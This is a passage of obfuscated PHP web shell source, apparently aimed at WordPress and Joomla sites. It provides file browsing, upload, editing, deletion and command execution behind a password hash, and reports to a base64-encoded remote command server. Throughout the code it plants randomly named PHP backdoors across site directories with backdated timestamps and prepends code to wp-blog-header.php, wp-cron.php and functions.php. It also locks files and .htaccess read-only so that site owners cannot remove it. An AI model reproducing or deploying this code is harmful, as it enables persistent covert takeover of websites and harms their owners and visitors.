goto zWVmG; } goto E7RT4; E7RT4: $R_2OK[] = $uSOQx[$QL_EW]; goto Tf7tj; CUv4f: npTux: goto BkSjk; Tf7tj: zWVmG: goto CUv4f; BkSjk: } goto kR4Se; TGDgs: chmod($ZXzrH . "/.htaccess", 0555); goto nRuES; kdc0W: $q72SH = ''; goto ZfJb1; nRuES: pYtQa: goto GPZzb; G16RL: } goto eqPBC; bm_tI: foreach ($pkfz6 as $WI_6I) { goto ZHp_v; ZHp_v: $Bhm11 = $KW03p[$WI_6I]; goto tlxDH; Rln_l: $uDtUx = aERaR($T7JuE, base64_decode($xjQ5R[$Jx3Dx])); goto OVJPR; tAEAi: Zc43T: goto Y179f; x_rAI: pXUu4: goto oLIOM; Yf255: jCIlA: goto KneLV; mQAGB: if ($Jx3Dx >= count($xjQ5R)) { goto Zc43T; } goto Vqi9l; OVJPR: goto wI9tI; goto tAEAi; RIEem: LyHRN: goto kcICF; oLIOM: $ifLEm[] = $T7JuE; goto tJNg7; KneLV: $Jx3Dx++; goto RIEem; tJNg7: $R1pQf[] = str_replace($wV4eu, $k5zcJ, $T7JuE); goto Yf255; hJkEb: goto jCIlA; goto x_rAI; Y179f: $Bhm11 = $Bhm11 . "/wp"; goto Ow0hI; Ow0hI: $T7JuE = $Bhm11 . "/" . $VoGAg; goto R9toN; Vqi9l: $T7JuE = $Bhm11 . "/" . $VoGAg; goto Rln_l; tlxDH: $VoGAg = DFe8j(rand(5, 10)) . ".php"; goto mQAGB; bo35a: if ($uDtUx) { goto pXUu4; } goto hJkEb; vW9vD: wI9tI: goto bo35a; R9toN: $uDtUx = PR9lQ($Bhm11, $VoGAg, $Mq0lu, base64_decode($Tl7bq[$Jx3Dx - count($xjQ5R)])); goto vW9vD; kcICF: } goto Jg42H; i07Er: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto UcNjH; ch9WU: } goto NbS3d; fX9vT: echo "<div class="alert alert-danger" role="alert">Unable to open file!</div>"; goto mTzc1; VL0mi: if (!($_POST["type"] == "lock")) { goto ncMOt; } goto P1ZoX; mWD0V: echo $_SESSION["c2hlbGxfaWQ="]; goto ASG8s; HLWad: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto IlCQD; Lj6Cs: if ($_POST["type"] == "others") { goto g9AaO; } goto ZUuro; uRfgn: foreach ($UnhrJ as $BKaq1 => $HLoEV) { goto FEoe_; s_zF6: goto UA1Pr; goto EEccc; CTaBB: $Ptssn++; goto s_zF6; Ams6Z: goto UASV1; goto E12Ch; xpD2V: $J8pN3++; goto DTgAs; RNEjT: fhB8p: goto lpDMV; E12Ch: WPk21: goto fNpBY; DTgAs: UA1Pr: goto RNEjT; EEccc: huQlh: goto xpD2V; heds0: UASV1: goto H1FAF; aML4H: $iFpH9 = unlink($HLoEV); goto Ams6Z; FEoe_: if (is_dir($HLoEV)) { goto WPk21; } goto aML4H; H1FAF: if ($iFpH9) { goto huQlh; } goto CTaBB; fNpBY: $iFpH9 = UWiXj($HLoEV); goto heds0; lpDMV: } goto ui7R7; GHMZq: if ($_POST["type"] == "exec") { goto H1YpC; } goto yXPjn; rxmwW: oCa2Q: goto A8Fu3; Islsd: goto pP2Pj; goto k1z08; t_zRj: $SO_dz = scandir($hicZU); goto qNojU; w_mU0: echo " <tr>
<td colspan="4" style="text-align: center;color:red;">
No Files!\xa </td>
</tr>
"; goto V4uY6; T2_GK: a30qV: goto s6vyY; epyW7: foreach ($pBBP9 as $BKaq1 => $HLoEV) { goto zqEyf; fQhqX: kUWcR: goto PXItH; DQJgo: echo "<a href="?path=/">-</a>r
"; goto szyoz; aUb53: if (empty($yDrso)) { goto w6cbt; } goto lhF1f; lhF1f: $yDrso = $yDrso . "/" . $HLoEV; goto GfTMG; nYtHi: goto RBeU_; goto mc2yY; szyoz: RBeU_: goto Bvdcg; U53hX: w6cbt: goto A0JSL; A0JSL: $yDrso = $HLoEV; goto fQhqX; CY0_W: echo "/<a href="?path="; goto W8ObK; mc2yY: cMcCQ: goto DQJgo; mLih1: echo trim($HLoEV); goto ugW3a; PXItH: $y8p09 = $y8p09 . "/" . $HLoEV; goto CY0_W; zqEyf: if (empty($HLoEV)) { goto cMcCQ; } goto aUb53; W8ObK: echo $y8p09; goto s76Oi; ugW3a: echo "</a>"; goto nYtHi; GfTMG: goto kUWcR; goto U53hX; s76Oi: echo "">"; goto mLih1; Bvdcg: cB5KD: goto LqaFY; LqaFY: } goto hpVjv; DJdg7: echo "" method="post">
\x9\x9\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto MK2l8; Sptby: $uvI30 = trim($_POST["exec_code"]); goto AZOo0; owGXL: goto mXcEl; goto zPKyK; LI0CE: Eut01: goto eYOpq; jYlAP: echo $UKoAN; goto vhb0S; Jzs7R: echo "style="color:green;""; goto V7EVa; ofsMg: foreach ($EpgdR as $BKaq1 => $HLoEV) { echo $HLoEV . "<br/>"; wBGLw: } goto jykN0; ccCEf: pP2Pj: goto wcMKf; VlVLV: function XO9Z0($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto BjnOk; BE2Cb: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto FQ98N; oKE5u: $Q0d0r["second_url"] = $egTvp["second_url"]; goto q7sF2; PDAOz: $Q0d0r = array(); goto iNQ25; zGhiw: C6_PQ: goto RY_m3; ZqdTm: $Q0d0r["status"] = 2; goto z8Xdz; ufd0r: $Q0d0r["code"] = "1001"; goto ZqdTm; ZWfhK: $Q0d0r["status"] = 2; goto D6I_2; ySwVx: gMmrZ: goto WLYd_; LgZIa: ZkzZK: goto oKE5u; OEG7x: Ug6Yf: goto PDAOz; iHsqq: goto OTMHg; goto ySwVx; fLMCe: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=others&group_id_2=" . $fDdlE . "&group_id_3=" . $kvNkJ . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto af7p3; BjnOk: $DfFx0 = $QbvJe["shell_id"]; goto C4Wha; WSGhQ: $JXstA = json_decode($Y67K5, true); goto I6nwH; z8Xdz: goto w32Kd; goto LgZIa; C4Wha: $fDdlE = $QbvJe["group_id_2"]; goto iMNIg; FQ98N: $Y67K5 = XrSD2($pDJ9q); goto WSGhQ; rcTce: $IuCPr = $QbvJe["shell_type"]; goto fLMCe; C7o8f: $Q0d0r["action"] = "others"; goto BE2Cb; XPXw7: if (!empty($egTvp["second_url"]) || !empty($egTvp["third_url"])) { goto ZkzZK; } goto ufd0r; q7sF2: $Q0d0r["third_url"] = $egTvp["third_url"]; goto oNqlO; WLYd_: echo "<p style="color:green;">Others is successfully</p>"; goto Ubmw4; oNqlO: $Q0d0r["status"] = 1; goto rptEx; af7p3: if (!(stripos($XY7l9, "joomla") !== false)) { goto Ug6Yf; } goto sKkPK; D6I_2: goto C6_PQ; goto dKS9P; pbVzO: $Q0d0r["code"] = "1002"; goto ZWfhK; dKS9P: LPOir: goto cP9cz; cP9cz: $egTvp = L2tNp($JXstA["group2_code"], $JXstA["group3_code"], $JXstA["second_file"], $JXstA["third_file"], $k5zcJ); goto XPXw7; Ubmw4: OTMHg: goto GJLpr; RY_m3: $Q0d0r["shell_type"] = $IuCPr; goto sgY9V; rptEx: w32Kd: goto zGhiw; DmAIw: if ($uDtUx["status"]) { goto gMmrZ; } goto fs_da; sgY9V: $uDtUx = IVXxc($OMkYM, $Q0d0r); goto DmAIw; fs_da: echo "<p style="color:red;">Others is failed! " . $Q0d0r["code"] . "</p>"; goto iHsqq; iNQ25: $Q0d0r["shell_id"] = $DfFx0; goto C7o8f; I6nwH: $JXstA = OlwXg($JXstA); goto U3X8b; iMNIg: $kvNkJ = $QbvJe["group_id_3"]; goto rcTce; sKkPK: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=others&group_id_2=" . $fDdlE . "&group_id_3=" . $kvNkJ . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto OEG7x; U3X8b: if (!empty($JXstA["group2_code"]) && !empty($JXstA["second_file"]) || !empty($JXstA["group3_code"]) && !empty($JXstA["third_file"])) { goto LPOir; } goto pbVzO; GJLpr: } goto C7Mxo; YCMId: $SO_dz = $_REQUEST["files"]; goto KC8zr; hpVjv: kAWM5: goto dk1MV; b7tht: echo $QbvJe["SERVER_SOFTWARE"]; goto z86_R; kWpOA: $plyVc = trim($_POST["new_name"]); goto pkHcL; E0gB6: $QbvJe = $_SERVER; goto Lasaz; CPSun: echo "" method="post">\xa \x9\x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto fISyZ; HvyIx: if (empty($G4FS2)) { goto iEiWR; } goto UY5KS; yuvYk: $x4EZ5 = true; goto abw8E; WmkRj: function n_WGU($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto p9Wlb; X3Vnt: HhzSv: goto JW3tf; YK1Nu: $JXstA = OLwxg($JXstA); goto EOzFk; LyUl0: Nn1Ao: goto oiYEQ; PQVKh: if ($uDtUx["status"]) { goto q8XfG; } goto OVba0; OVba0: echo "<p style="color:red;">Exec is failed! " . $Q0d0r["code"] . "</p>"; goto OtMVX; RXT56: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=new_exec&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto dtXvy; EOzFk: if (isset($JXstA["in_contnt"]) && !empty($JXstA["ht_contnt"]) && !empty($JXstA["exec_code"])) { goto Y1yz6; } goto CTd87; OtMVX: goto vs_iH; goto Vp5U8; MBhya: goto Nn1Ao; goto v_I18; yPxHz: vs_iH: goto MgQIi; v_I18: Y1yz6: goto O3UKK; w8wu2: echo "<p style="color:green;">Exec is successfully</p>"; goto yPxHz; tXUHs: $Q0d0r["status"] = 2; goto pzXdF; ybh5b: $IuCPr = $QbvJe["shell_type"]; goto RXT56; UWNsq: if ($egTvp) { goto jHQtJ; } goto d_jJB; KpCwA: $egTvp = kAMkI($kYzEH, $JXstA["ht_contnt"], $JXstA["in_contnt"], $JXstA["exec_code"], $JXstA["wp_ycode"]); goto UWNsq; FCxSp: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=new_exec&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto X3Vnt; M2eFQ: $uDtUx = IvXXc($OMkYM, $Q0d0r); goto PQVKh; CTd87: $Q0d0r["code"] = "1002"; goto F4tLH; mHYvC: Rpr99: goto LyUl0; O3UKK: $kYzEH = $_SERVER["DOCUMENT_ROOT"]; goto KpCwA; nst00: $Q0d0r["shell_id"] = $DfFx0; goto KYTmp; JW3tf: $Q0d0r = array(); goto nst00; F4tLH: $Q0d0r["status"] = 2; goto MBhya; sHo9b: $DfFx0 = $QbvJe["shell_id"]; goto ybh5b; dtXvy: if (!(stripos($XY7l9, "joomla") !== false)) { goto HhzSv; } goto FCxSp; qjrwK: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto r8N_l; x3vR2: $JXstA = json_decode($Y67K5, true); goto YK1Nu; d_jJB: $Q0d0r["code"] = "1001"; goto tXUHs; euniv: $Q0d0r["status"] = 1; goto mHYvC; E54Cs: jHQtJ: goto euniv; Vp5U8: q8XfG: goto w8wu2; KYTmp: $Q0d0r["action"] = "exec"; goto qjrwK; pzXdF: goto Rpr99; goto E54Cs; p9Wlb: $eRoV1 = $QbvJe["group_id"]; goto sHo9b; r8N_l: $Y67K5 = xRSd2($pDJ9q); goto x3vR2; oiYEQ: $Q0d0r["shell_type"] = $IuCPr; goto M2eFQ; MgQIi: } goto YYaB8; rsUgD: if (empty($wxqQ0)) { goto fyBZN; } goto LhkRS; LtlrT: echo "<div class="alert alert-danger" role="alert">Unable to write to file!</div>"; goto HKkWH; gGnRx: echo $_SESSION["c2hlbGxfaWQ="]; goto YcRxk; Z83m0: C1XGP: goto p8Fvo; nifYO: echo "" placeholder="New File Name">\xa </div>\xa <div class="form-group">
<textarea class="form-control" id="new_content" name="new_content" rows="20" cols="100" placeholder="New File Content">"; goto bpKbj; zKL7T: echo "&type=8">Search Files</a>
</form>\xa </div>
<div class="col-6">\xa <form action="?path="; goto PykiL; BdtDH: echo "</div>
<div style="width: 30%;display:inline-block;">Server Software: "; goto b7tht; w69yF: PWzkU: goto QhUCX; bxj3L: $KNM5I = array(); goto hHZ55; oIybm: if (empty($wjAuf)) { goto Ab5aT; } goto xFUzp; z7Mb8: $k5zcJ = $sSXUt . $O1ccF; goto U1pRj; DZcYo: echo "<div class="alert alert-success" role="alert">File permissions modified successfully!</div>"; goto bFBvq; m21zH: if (!($XY7l9 == "joomla")) { goto IKCfJ; } goto MwlK2; fKNQ0: echo "style="color:red;""; goto M8prv; aWAy0: echo "" style="display: inline-block;width: 80%;"/>
<input type="hidden" name="act" value="change_dir"/>\xa <button type="submit" class="btn btn-info btn-sm">Change Dir</button>
</form>\xa </div>\xa <div class="col-6">
\xa </div>\xa </div>
</div>\xa <div class="bd-example bd-example-row" style="border: 1px solid #ededed;padding: 1rem;margin: 1rem 0;">
<div class="row">
<div class="col-2 col-sm-1">\xa <form action="?path="; goto Bcx6c; Q58J0: echo $UKoAN; goto ryBts; RxHcR: echo $_SESSION["c2hlbGxfaWQ="]; goto Nm2Dl; J5SB3: echo ""/>
<button type="submit" class="btn btn-warning btn-sm">Exec</button>\xa </form>\xa </div>
<div class="col-2 col-sm-1">\xa <form action="?path="; goto n3k3R; Ev4on: fclose($ITud5); goto AG6T2; jykN0: ncbYy: goto WeFxc; UY5KS: $zjmtS = rename($UKoAN, $hicZU . "/" . $G4FS2); goto BPaCi; wcMKf: goto C1XGP; goto m2DAF; kaIK7: D18HT: goto lTgfU; GML0F: if (!(sha1(md5($wYqlh)) == "185ea3f9b5d50cdb3931ab7efffb8da9ea4947aa")) { goto Jggsp; } goto Losku; PX8kv: echo $_SESSION["c2hlbGxfaWQ="]; goto h6MV7; lGdpu: function bRExO($pQxe_, $NcCLv, $k5zcJ) { goto KveiK; RWDXu: $uhESf = basename($wV4eu); goto FyA8a; BZQp0: rDP7G: goto nzPkn; W3oDt: foreach ($yryKk as $BKaq1 => $HLoEV) { goto pGMuc; pGMuc: $z3h_0 = glob($HLoEV . "/*", GLOB_ONLYDIR); goto Kr_Sh; Kr_Sh: $yryKk = array_merge($yryKk, $z3h_0); goto Qa8q2; Qa8q2: d2ZoS: goto teCbR; teCbR: } goto BZQp0; ecm4a: Xs3ww: goto wkTkZ; ahZoc: HARUH: goto h2HPd; lT_Cl: Od1V2: goto ecm4a; nfG6K: $wZgxs = array(); goto W3oDt; hvbaU: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto RWDXu; KveiK: $J8pN3 = 0; goto hvbaU; FyA8a: $yryKk = xpEbk($wV4eu); goto nfG6K; h2HPd: if (empty($wZgxs)) { goto Xs3ww; } goto F_K2R; F_K2R: foreach ($wZgxs as $BKaq1 => $HLoEV) { goto VxcDH; YMueM: chmod($mkvjj, 0644); goto KjsEL; PpOzw: $TgXXa = ''; goto Ie448; ZxuCl: yBLTM: goto nGnJA; lRMUA: chmod($sIg_i, 0644); goto yi81l; YjY2K: jSb08: goto BM8os; PAE1H: chmod($mkvjj, 0444); goto xlskF; nGnJA: $pMSWg = ''; goto VFA0_; X8v7P: chmod($pMSWg, 0444); goto yM_CA; VL9ae: $TgXXa = file_get_contents($LensE); goto jo1ly; bPaLq: $mkvjj = $HLoEV . "/.htaccess"; goto PpOzw; KjsEL: file_put_contents($mkvjj, $NcCLv); goto PAE1H; yM_CA: gEEQN: goto YMueM; UXGaS: chmod($LensE, 0444); goto ZxuCl; jo1ly: fSd4D: goto VfB_o; VfB_o: if (!(strpos($TgXXa, $pQxe_) === false)) { goto yBLTM; } goto DbDgx; yi81l: $pMSWg = file_get_contents($sIg_i); goto YjY2K; xlskF: $J8pN3++; goto RtFNR; hdZa7: file_put_contents($sIg_i, $pQxe_ . $pMSWg); goto X8v7P; pbH8Q: $sIg_i = $HLoEV . "/wp-cron.php"; goto bPaLq; DbDgx: file_put_contents($LensE, $pQxe_ . $TgXXa); goto UXGaS; BM8os: if (!(strpos($pMSWg, $pQxe_) === false)) { goto gEEQN; } goto hdZa7; Ie448: if (!file_exists($LensE)) { goto fSd4D; } goto MZ6Ti; MZ6Ti: chmod($LensE, 0644); goto VL9ae; VxcDH: $LensE = $HLoEV . "/wp-blog-header.php"; goto pbH8Q; RtFNR: ZCn_G: goto OOrmi; VFA0_: if (!file_exists($sIg_i)) { goto jSb08; } goto lRMUA; OOrmi: } goto lT_Cl; wkTkZ: return $J8pN3; goto nUaH7; nzPkn: foreach ($yryKk as $BKaq1 => $HLoEV) { goto CFCYt; CFCYt: if (strpos($HLoEV, $uhESf)) { goto cVHVY; } goto bUPzb; bUPzb: $wZgxs[] = $HLoEV; goto HGOn0; HGOn0: cVHVY: goto eop3a; eop3a: iE2gC: goto LDUKo; LDUKo: } goto ahZoc; nUaH7: } goto hJk5W; MeCwi: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto uiYo7; xiA76: echo " </tbody>
</table>
</form>
</div>
"; goto UAlPC; Zj0bH: echo " <div class="row">
<div class="col-12" style="margin-bottom: 1rem;">
<div class="row">
<div class="col-6">\xa <form action="?path="; goto jYlAP; UdzfN: function vAFfQ($T7JuE) { goto YEi2V; xF9_0: return $wr9ji; goto uIUtK; YEi2V: $wr9ji = filesize($T7JuE); goto CupAY; hXIVV: goto eG2tK; goto o_JAq; zXe8i: if ($wr9ji > 1024) { goto cb0Ds; } goto CUZyK; dhn5R: $wr9ji = round($wr9ji / (1024 * 1024), 2) . " MB"; goto VirKj; VotWa: eG2tK: goto U6DH8; UQjmn: B_Kcz: goto dhn5R; U6DH8: goto E9nyu; goto UQjmn; o_JAq: cb0Ds: goto H43r9; CUZyK: $wr9ji = $wr9ji . " B"; goto hXIVV; CupAY: if ($wr9ji > 1024 * 1024) { goto B_Kcz; } goto zXe8i; VirKj: E9nyu: goto xF9_0; H43r9: $wr9ji = round($wr9ji / 1024, 2) . " KB"; goto VotWa; uIUtK: } goto wwq7f; aH3os: $ZFXb5 = $hicZU . "/" . basename($_FILES["fileToUpload"]["name"]); goto KhScz; IMH6v: echo ""/>
<input type="hidden" name="group_id_3" value=""; goto q4JEp; bApR0: if (!(isset($_POST["act"]) && $_POST["act"] == "upload")) { goto Hlojy; } goto aH3os; DvAvb: obzjz: goto fQ6O4; eYOpq: echo " <div class="row">\xa <form action="?type=7" method="post">
\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto PxYFt; dS69f: goto D18HT; goto HpR_x; eLNTc: if (!(isset($_POST["act"]) && $_POST["act"] == "shell")) { goto JQhJL; } goto D284E; IYzb2: tUsRB($_POST, $EjEmp, $k5zcJ, $XY7l9); goto kaIK7; P21rC: $s1OWX = isset($_REQUEST["type"]) ? $_REQUEST["type"] : ''; goto SAHFd; eIFkn: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto LjgFf; L93ar: if ($jqDls) { goto EiCmU; } goto Zd57p; LhkRS: foreach ($wxqQ0 as $BKaq1 => $HLoEV) { $_SESSION[$BKaq1] = $HLoEV; crEyi: } goto BuVJB; OsZ6S: echo $UKoAN; goto LwRGb; tGFU3: function HWQjs() { goto R2t4t; zGuP4: return $tkNxN; goto mgczW; M07oM: $Jx3Dx = 0; goto a0Xid; uT6gL: $Jx3Dx++; goto DpFBQ; R2t4t: $tkNxN = ''; goto M07oM; COwie: WXsM6: goto zGuP4; a0Xid: RoKxt: goto w1Vq8; w1Vq8: if (!($Jx3Dx < 6)) { goto WXsM6; } goto aUIjW; DpFBQ: goto RoKxt; goto COwie; aUIjW: $tkNxN .= chr(mt_rand(97, 122)); goto uVWTo; uVWTo: pjdUF: goto uT6gL; mgczW: } goto VlVLV; PykiL: echo $UKoAN; goto i6BjG; mTzc1: goto OZ1vY; goto s25La; qitk7: $vQi2F = trim($_POST["new_content"]); goto jC_a8; jcyIM: $EjEmp = "aHR0cHM6Ly9na3ZwdXQuaHhwaHJtLnRvcA=="; goto rsUgD; jnViQ: echo "</textarea>\xa </div>\xa <button type="submit" class="btn btn-success">Edit</button>\xa </form>\xa </div>\xa "; goto t8IUf; e4_IS: if (empty($UnhrJ)) { goto UMMVG; } goto ZoQzS; D8O0N: $XbXzE = $QDo03 . $yj1fW; goto qjhuK; bIR24: if (fwrite($ITud5, $vQi2F)) { goto u6bTi; } goto LtlrT; fs5bJ: function FPIzy($wV4eu, $KDERs, $UMc82) { goto FHeVF; JpSum: $pyR2C = (array) array_rand($awGlY, min($zXxAK, count($awGlY))); goto H8eUW; Ep3Ov: $KW03p = $jCNVX; goto QFI2X; htGUQ: QX0Wr: goto hTxzX; u0mPu: CpGpE: goto htGUQ; xzitr: $YZo7g = max(1, floor($wIs5K / count($Xy29j))); goto eWVM1; hTxzX: $pkfz6 = array_rand($KNM5I, 1); goto XoZ5V; oolCZ: foreach ($Xy29j as $wjAuf) { $Pve1C = array_merge($Pve1C, glob($wjAuf . "/*", GLOB_ONLYDIR)); tkYx7: } goto mAjjk; EltXO: $wIs5K = $UMc82; goto j6Phh; fThv3: qGBC8: goto Ep3Ov; FHeVF: global $KNM5I, $KW03p, $f7Rro; goto otk70; Zixp_: gLbDr: goto u0mPu; otk70: $Xy29j = glob($wV4eu . "/*", GLOB_ONLYDIR); goto EltXO; eWVM1: foreach ($Xy29j as $wjAuf) { goto sVbTQ; jQfKS: YPzB2: goto KHLE8; KHLE8: $pkfz6 = array_rand($wrYYk, $YZo7g); goto ql4ue; rGtdD: bOKCC: goto VwGaU; ql4ue: foreach ((array) $pkfz6 as $WI_6I) { $jCNVX[] = $wrYYk[$WI_6I]; ZWFfi: } goto zpveE; vBAKM: YWEqE: goto rGtdD; Hoybi: goto YWEqE; goto jQfKS; bG9hR: $wrYYk = WdwT1($wjAuf, 10); goto KRdyv; KRdyv: if (count($wrYYk) >= $YZo7g) { goto YPzB2; } goto NJLff; NJLff: $jCNVX = array_merge($jCNVX, $wrYYk); goto Hoybi; sVbTQ: $KNM5I[] = $wjAuf; goto bG9hR; zpveE: AeyFe: goto vBAKM; VwGaU: } goto xwZp1; QFI2X: return $KNM5I; goto p31VQ; Rnvak: $Pve1C = array(); goto oolCZ; XfqVk: $awGlY = array_diff($Pve1C, $jCNVX); goto soHAu; H8eUW: foreach ($pyR2C as $WI_6I) { $jCNVX[] = $awGlY[$WI_6I]; NFMD5: } goto Zixp_; soHAu: if (!(count($awGlY) > 0)) { goto CpGpE; } goto JpSum; QW9U9: $zXxAK = $wIs5K - count($jCNVX); goto Rnvak; xwZp1: H_xVU: goto nnoFA; nnoFA: if (!(count($jCNVX) < $wIs5K)) { goto QX0Wr; } goto QW9U9; j6Phh: $jCNVX = array(); goto xzitr; mAjjk: QR8qD: goto XfqVk; XoZ5V: foreach ((array) $pkfz6 as $WI_6I) { $f7Rro = $KNM5I[$WI_6I]; BVdWK: } goto fThv3; p31VQ: } goto IEjhe; i3dwn: $plyVc = trim($_POST["new_name"]); goto qitk7; wzN41: echo "<div class="alert alert-success" role="alert">Delete " . $J8pN3 . " files successfully!</div>"; goto DvAvb; UuJPZ: My3vo: goto ERvMQ; G9xs8: if (!empty($SO_dz) && count($SO_dz) > 2) { goto npqwo; } goto w_mU0; Nm2Dl: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto eNc9e; eHdHM: echo ""/>\xa <div class="form-group">
<input type="text" class="form-control" id="new_name" name="new_name" value=""; goto zntT0; E8Tzo: S5Qqf: goto K0otj; fl_7D: if (!(!empty($wYqlh) && $wYqlh == "deleteFiles")) { goto XTJbj; } goto YCMId; XlDLu: echo "delete is ok!"; goto wR0RY; YwHE5: echo ""/>
<input type="hidden" name="act" value="shell"/>\xa <input type="hidden" name="type" value="reback"/>
<input type="hidden" name="group_id" value=""; goto ZDUQy; emr3H: echo " <div class="row">
<form action="?type=8" method="post">
<div class="form-group">
<input type="text" class="form-control" id="search_keys" name="search_keys" value=""; goto lgxAA; vhb0S: echo "" method="post" enctype="multipart/form-data">\xa \x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto hGOXD; VdUUN: JeIng: goto a9AHv; RuowD: echo ""/>
<div class="form-group">
"; goto Qdhc1; D0LIN: function aEraR($ffvMO, $hJqm6) { goto c_WkT; DVWze: IPa63: goto UGDcj; nKya9: return true; goto WYDsG; fv8IR: goto tUVob; goto DVWze; qV4SQ: return false; goto fv8IR; UGDcj: $s3FZc = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto zSgZc; WYDsG: tUVob: goto YM2eh; c_WkT: if (file_put_contents($ffvMO, $hJqm6) !== false) { goto IPa63; } goto qV4SQ; zSgZc: touch($ffvMO, $s3FZc); goto nKya9; YM2eh: } goto yxzBN; Oi878: function N2Fnj($Pi60r) { $t_qDj = str_split($Pi60r); return "'" . implode("'.'", $t_qDj) . "'"; } goto CmHym; UCqeu: tTBXc: goto kWpOA; i4pUj: echo $UKoAN; goto D_eS2; a9AHv: goto A3buy; goto BF6UP; jC_a8: if (empty($plyVc)) { goto ZrCem; } goto cATTL; rzAxT: echo "</textarea>\xa </div>\xa <button type="submit" class="btn btn-success">Create Now</button>
</form>\xa </div>\xa "; goto XnPCp; Srmsn: echo basename($UKoAN); goto t4Rwz; ZUuro: if ($_POST["type"] == "station") { goto pdzhG; } goto VL0mi; tWTgA: echo " "; goto muen2; hHL0U: $iakIc = file_get_contents($UKoAN); goto MqXW9; k1z08: DUk4S: goto gHwOD; Jw6BZ: pyl_5: goto xiA76; MqXW9: echo " <input type="text" class="form-control" id="file_new_name" name="file_new_name" value=""; goto Srmsn; tPz1O: N_wGu($_POST, $EjEmp, $k5zcJ, $XY7l9); goto bDFqz; cATTL: if (is_file($hicZU . "/" . $plyVc)) { goto Qehts; } goto vDYG0; t4Rwz: echo "">
</div>\xa <button type="submit" class="btn btn-success">Edit</button>
</form>\xa </div>\xa "; goto Z83m0; PNcWR: A3buy: goto Aupmn; Gb60l: UfNqj: goto nwXK5; Hrec1: uZAhS: goto CLnQi; RmTJx: $UKoAN = $hicZU . "/" . $G4FS2; goto cxcjq; d2pH3: function AcuNl() { goto vN3QN; L72FU: $wr8mn = rlSa3($wjAuf, 8); goto dYtQF; g6Qw9: if (!$B1ncJ) { goto cbTLM; } goto sWGse; vN3QN: $J8pN3 = 0; goto YkvpX; X62Xg: foreach ($wOLk7 as $ITud5) { goto A4arr; oifkc: t1ljX: goto F6xh5; V_Z5K: if (!$B1ncJ) { goto fDSDb; } goto rbDpQ; F6xh5: x5T16: goto JHxhp; A4arr: if (!($ITud5 != "." && $ITud5 != ".." && is_file($wjAuf . "/" . $ITud5))) { goto t1ljX; } goto XOxzF; ql0D3: fDSDb: goto oifkc; rbDpQ: $J8pN3++; goto ql0D3; XOxzF: $B1ncJ = chmod($wjAuf . "/" . $ITud5, 0555); goto V_Z5K; JHxhp: } goto jNHEn; fDtW1: cbTLM: goto yUhfm; sWGse: $J8pN3++; goto fDtW1; dYtQF: foreach ($wr8mn as $BKaq1 => $HLoEV) { goto LzQYP; VQJnA: $J8pN3++; goto Wxh3J; DfDj_: if (!$B1ncJ) { goto kRCjv; } goto VQJnA; Wxh3J: kRCjv: goto CsvOk; CsvOk: zg2yX: goto BRfBF; LzQYP: $B1ncJ = o8Wlv($HLoEV, 0555); goto DfDj_; BRfBF: } goto nXdHS; yUhfm: echo "all is " . (count($wr8mn) + count($wOLk7)) . ";" . $J8pN3 . "is lock success"; goto an_41; cm22y: $wOLk7 = scandir($wjAuf); goto X62Xg; YkvpX: $wjAuf = $_SERVER["DOCUMENT_ROOT"]; goto L72FU; WUlQq: $B1ncJ = o8WlV($wjAuf, 0555); goto g6Qw9; nXdHS: Rz1MB: goto cm22y; jNHEn: VfsC5: goto WUlQq; an_41: } goto gk8x5; G2yj1: @set_time_limit(0); goto esMyP; ZwD77: if ($x4EZ5) { goto zdpw_; } goto fKNQ0; qmdNn: echo htmlspecialchars($iakIc); goto jnViQ; J5KGc: function IUid8() { goto T2_vj; Yoj19: $Zl_g8 = file_get_contents($arD8q); goto mYnU0; CCVsm: $arD8q = $wV4eu . "/wp-includes/functions.php"; goto Yoj19; h4a_Q: file_put_contents($arD8q, $Zl_g8); goto RkQoN; vEBP3: $Zl_g8 = preg_replace("/" . preg_quote("<?php", "/") . "/", $QIAS2, $Zl_g8, 1); goto h4a_Q; vrG_c: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto CCVsm; RkQoN: YxgGK: goto B3bCG; T2_vj: $QIAS2 = 